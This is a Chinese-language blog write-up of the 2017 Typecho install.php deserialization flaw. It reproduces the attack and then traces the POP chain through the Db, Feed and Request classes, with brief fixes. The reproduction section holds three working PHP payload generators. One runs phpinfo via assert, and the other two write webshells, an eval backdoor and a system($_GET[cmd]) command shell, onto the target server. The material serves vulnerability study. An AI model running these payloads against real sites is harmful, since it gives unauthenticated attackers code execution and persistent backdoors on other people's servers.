首页 » NetworkSec » Penetration » 正文

Typecho反序列化漏洞重现及分析

0x00 前言

一个月前,typecho博客系统爆出了反序列化前台getshell的重大bug,当时太忙没时间分析,最近熟悉了下php的反序列化漏洞,乘势重温下当时火热的typecho反序列化漏洞,如果对php反序列化漏洞不甚了解,可以参考php反序列化漏洞总结
 

0x01 漏洞重现

环境:win7+phpstudy(php5.4.45+apache2)+Typecho141010
0号payload0(来自www.freebuf.com/vuls/152058.html):执行phpinfo

<?phpclass Typecho_Feed{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;
    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}
$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));

效果:

 
1号payload1:写入一句话:

<?php
class Typecho_Feed{
    private $_items = array();
    const RSS2 = 'RSS 2.0';
    private $_version;
    private $_type;
    private $_charset;
    private $_lang;
    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
    {
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}
class Typecho_Request{
    private $_params = array();
    private $_filter = array('assert');
     public function __construct(){
        $this->_params['screenName'] = 'file_put_contents(\'testpayload1.php\', \'<?php @eval($_POST[typecho]);?>\')';
        $this->_filter[0] = 'assert';
    }
}
$payload1 = new Typecho_Feed(1);
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));

效果:


返回500,但是已经成功写入文件。
2号payload2:执行命令:
细心一点就会发现Requset.php:359
<name>’ . $item[‘author’]->screenName . ‘</name>
<uri>’ . $item[‘author’]->url . ‘</uri>
url也应该是可以利用的,但是本人尝试没成功,所以还是利用screenName构造payload2:

<?php
class Typecho_Feed{
    private $_items = array();
    const RSS2 = 'RSS 2.0';
    private $_version;
    private $_type;
    private $_charset;
    private $_lang;
    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
    {
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}
class Typecho_Request{
    private $_params = array();
    private $_filter = array();
     public function __construct(){
        $this->_params['screenName'] = 'file_put_contents(\'shell.php\', \'<?php @system($_GET[cmd]);?>\')';
        $this->_filter[0] = 'assert';
    }
}
$payload1 = new Typecho_Feed(1);
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho_');
echo base64_encode(serialize($exp));

效果:

 

0x02 修复方案

1. 删除install.php
2. 升级到最新版本
 

0x03 漏洞分析

Install.php 229

<?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

关键函数unserialize出现,还有base64_decode,后门的气息扑面而来,但本人觉得或许不是后门。大概的意思好像是从cookie读取config,进行base64解码再反序列化。
看看Typecho_Cookie的get方法
var/Typecho/Cookie.php 83

public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
}

如果$_COOKIE[$key]就赋值给value,否则就拿$_POST[$key]给value。这里表明将payload放cookie或者直接post都是可以的。
还有
$db = new Typecho_Db($config[‘adapter’], $config[‘prefix’]);
这里new了db对象。
Install.php 59

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }
    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

Finish = 1,referer同源即可
接下来就是重点了-搜寻可利用的pop链
来看看上面说的db对象,Typecho_Db类在Db.php:
var/typecho/Db.php 114

 public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;
        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }
        $this->_prefix = $prefix;
        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();
        //实例化适配器对象
        $this->_adapter = new $adapterName();
}

发现拼接$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;
由于对象和字符串拼接会自动调用魔术方法__toString,所以搜索__toString。
var/typecho/Feed.php 223

public function __toString()
    {
        $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
        if (self::RSS1 == $this->_type) {
            $result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;
            $content = '';
            $links = array();
            $lastUpdate = 0;
            foreach ($this->_items as $item) {
                $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
                $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }
                $content .= '</item>' . self::EOL;
                $links[] = $item['link'];
                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }
            $result .= '<channel rdf:about="' . $this->_feedUrl . '">
<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<items>
<rdf:Seq>' . self::EOL;
            foreach ($links as $link) {
                $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
            }
            $result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;
            $result .= $content . '</rdf:RDF>';
        } else if (self::RSS2 == $this->_type) {
            $result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;
            $content = '';
            $lastUpdate = 0;
            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

关键是最后一行……
$content .= ‘<dc:creator>’ . htmlspecialchars($item[‘author’]->screenName) . ‘</dc:creator>’ . self::EOL;
__get方法会在调用私有属性或不可访问的属性的时候自动执行
如果screenName 是 $item[‘author’] 代表的类中的私有属性,那么就会调用 __get方法;或者给$item[‘author’]设置的类中没screenName属性,就执行该类的__get()魔术方法。
再搜索魔术方法__get
var/typecho/Request.php 269

 /**
     * 获取实际传递参数(magic)
     *
     * @access public
     * @param string $key 指定参数
     * @return mixed
     */
    public function __get($key)
    {
        return $this->get($key);
}

往下到295行看看get方法

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

再往上到159行看看_applyFilter方法

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }
            $this->_filter = array();
        }
        return $value;
}

关键函数call_user_func和array_map出现!可以代码执行。
注意 private $_filter = array();
_filter是私有属性数组,所以可以构造payload:
$this->_filter[0] = ‘assert’;
再看看value是啥东东,回到get方法:
isset($this->_params[$key]):
$value = $this->_params[$key];
可以看出value来自_params[$key],调用私有属性或不存在的属性会自动调用__get(),所以这里$key就是属性名。
private $_params = array();
_params是私有数组,所以可以构造payload
$this->_params[‘screenName’] = ‘phpinfo()’;
再根据$item[‘author’]->screenName构造payload:
‘author’ => new Typecho_Request(),
由于Typecho_Request类没screenName属性,所以$item[‘author’]->screenName就自动调用__get()。传入不存在的属性名screenName,进入get方法使value=’phpinfo()’,利用call_user_fun()执行代码。
 
回顾整个利用流程(pop链):
install.php:unserialize()—>
Db.php:$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;拼接调用__toString()—>
Feed.php:__toString():$item[‘author’]->screenName使其调用__get()—>
Request.php:__get():get():return $this->_applyFilter($value);:call_user_func($filter, $value);—>
执行代码!
 

0x03 回显问题

要注意的一点是网上不少高手都说因为install.php:54开了ob_start(),输出放到缓冲区,注入对象会触发exception:

(代码来源:https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q
又调用了ob_end_clean(),所以缓冲区的输出被丢弃了,简单说就是没输出。但奇怪的是本人测试并未出现此问题……也没找到触发的exception在哪……
还是给出解决没回显的方法:(方法来源:https://paper.seebug.org/424/

因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。
第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

 
第一种方法大概实现:
来到Request.php触发点:
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
由于call_user_func在foreach循环,所以可以构造第二次循环跳出exit即可,可以找一个方法中有exit的类,就可以直接让程序退出并输出缓冲区中的内容。
如var/Typecho/Response的redirect方法:
public function redirect($location, $isPermanently = false)
{
/** Typecho_Common */
$location = Typecho_Common::safeUrl($location);
 
if ($isPermanently) {
header(‘Location: ‘ . $location, false, 301);
exit;
} else {
header(‘Location: ‘ . $location, false, 302);
exit;
}
}
Payload如下(来源:https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q)


 
第二种方法大概实现:
加上
‘category’ => array(new Typecho_Request()),
来到Feed.php 292
if (!empty($item[‘category’]) && is_array($item[‘category’])) {
foreach ($item[‘category’] as $category) {
$content .= ‘<category><![CDATA[‘ . $category[‘name’] . ‘]]></category>’ . self::EOL;
}
}
因为Typecho_Request不存在name属性,造成报错。
 

0x05 结语

这次的typecho反序列化漏洞危害很大,但也是很好的审计例子,关于这个反序列化是否是后门,可以参考开发者对此漏洞的说明:https://joyqi.com/typecho/about-typecho-20171027.html
 

0x06 参考资料

https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q
https://mp.weixin.qq.com/s/C9ojGt4TYZKX30lhTOT3VQ
www.freebuf.com/vuls/152058.html
p0sec.net/index.php/archives/114/
https://paper.seebug.org/424/
https://blog.donot.me/typechofan-xu-lie-hua-lou-dong-fen-xi/
www.blogsir.com.cn/safe/454.html
https://kylingit.com/blog/typecho-install.php-反序列化漏洞分析/
https://joyqi.com/typecho/about-typecho-20171027.html
 
 
 

Comment

please input captcha *